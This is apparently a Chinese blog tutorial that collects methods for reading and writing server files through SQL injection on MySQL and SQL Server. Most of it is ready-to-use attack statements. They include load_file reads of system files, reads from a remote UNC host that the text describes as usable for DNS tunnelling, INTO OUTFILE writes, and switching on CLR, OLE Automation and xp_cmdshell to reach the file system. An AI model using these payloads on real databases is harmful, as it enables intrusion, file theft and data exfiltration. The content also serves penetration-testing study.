前言
SQL注入有直接sql注入也有文件读写时的注入了我们这篇文章介绍的是SQL注入中的文件读写这一块的内容，具体的一起来看看。
一、MySQL
读文件
常见的读文件，可以用16进制代替字符串
|
1 2 3 4 |
select load_file( 'c:/boot.ini' ) select load_file(0x633a2f626f6f742e696e69) select load_file( '//ecma.io/1.txt' ) # smb协议 select load_file( '\\\\ecma.io\\1.txt' ) # 可用于DNS隧道 |
写文件
我暂时已知l两种写文件的方式
|
1 |
select 0x313233 into outfile 'D:/1.txt' |
|
1 |
select 0x313233 into dumpfile 'D:/1.txt' |
二、 SQL Server
读文件
1. BULK INSERT
|
1 2 |
create table result(res varchar (8000)); bulk insert result from 'd:/1.txt' ; |
2. CLR集成
|
1 2 3 4 5 |
// 开启CLR集成 exec sp_configure 'show advanced options' ,1; reconfigure; exec sp_configure 'clr enabled' ,1 reconfigure |
|
1 |
create assembly sqb from 'd:\1.exe' with permission_set=unsafe |
上面一句可以利用create assembly函数从远程服务器加载任何.NET二进制文件到数据库中;但是他会验证是否为合法.NET程序，导致失败，下面是读取方式
|
1 |
select master.dbo.fn_varbintohexstr( cast (content as varbinary)) from sys.assembly_files |
绕过，首先加载一个有效的.NET的二进制文件，然后追加文件即可，下面是绕过方法。
|
1 2 3 |
create assembly sqb from 'd:\net.exe' ; alter assembly sqb add file from 'd:\1.txt' alter assembly sqb add file from 'd:\notnet.exe' |
3. Script.FileSystemObject
|
1 2 3 4 5 6 |
# 开启Ole Automation Procedures
sp_configure 'show advanced options' ,1; RECONFIGURE; sp_configure 'Ole Automation Procedures' ,1; RECONFIGURE; |
|
1 2 3 4 5 6 |
declare @o int , @f int , @t int , @ret int declare @line varchar (8000) exec sp_oacreate 'scripting.filesystemobject' ,@o out exec sp_oamethod @o, 'opentextfile' , @f out , 'd:\1.txt' , 1 exec @ret = sp_onmethod @f, 'readline' , @line out while(@ret = 0) begin print @line exec @ret = sp_oamethod @f, 'readline' , @line out end |
写文件
1. Script.FileSystemObject
|
1 2 3 4 5 |
declare @o int , @f int , @t int , @ret int declare @line varchar (8000) exec sp_oacreate 'scripting.filesystemobject' ,@o out exec sp_oamethod @o, 'createtextfile' , @f out , 'e:\1.txt' , 1 exec @ret = sp_oamethod @f, 'writeline' , NULL , 'This is the test string' |
2. BCP复制文件（测试失败，无bcp.exe）
|
1 |
c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa" |
3. xp_cmdshell
|
1 |
exec xp_cmdshell 'echo test>d:\1.txt' |
三、Oracle
pass，Oracle太坑了~~~几乎都受到PL/SQL的限制，暂时不讨论
总结
以上就是关于SQL注入中文件的读写方法总结，希望本文的内容对大家的学习或者工作能带来一定的帮助，如果有疑问大家可以留言交流。
原文链接：http://ecma.io/?p=392
查看更多关于关于SQL注入中文件读写的方法总结的详细内容...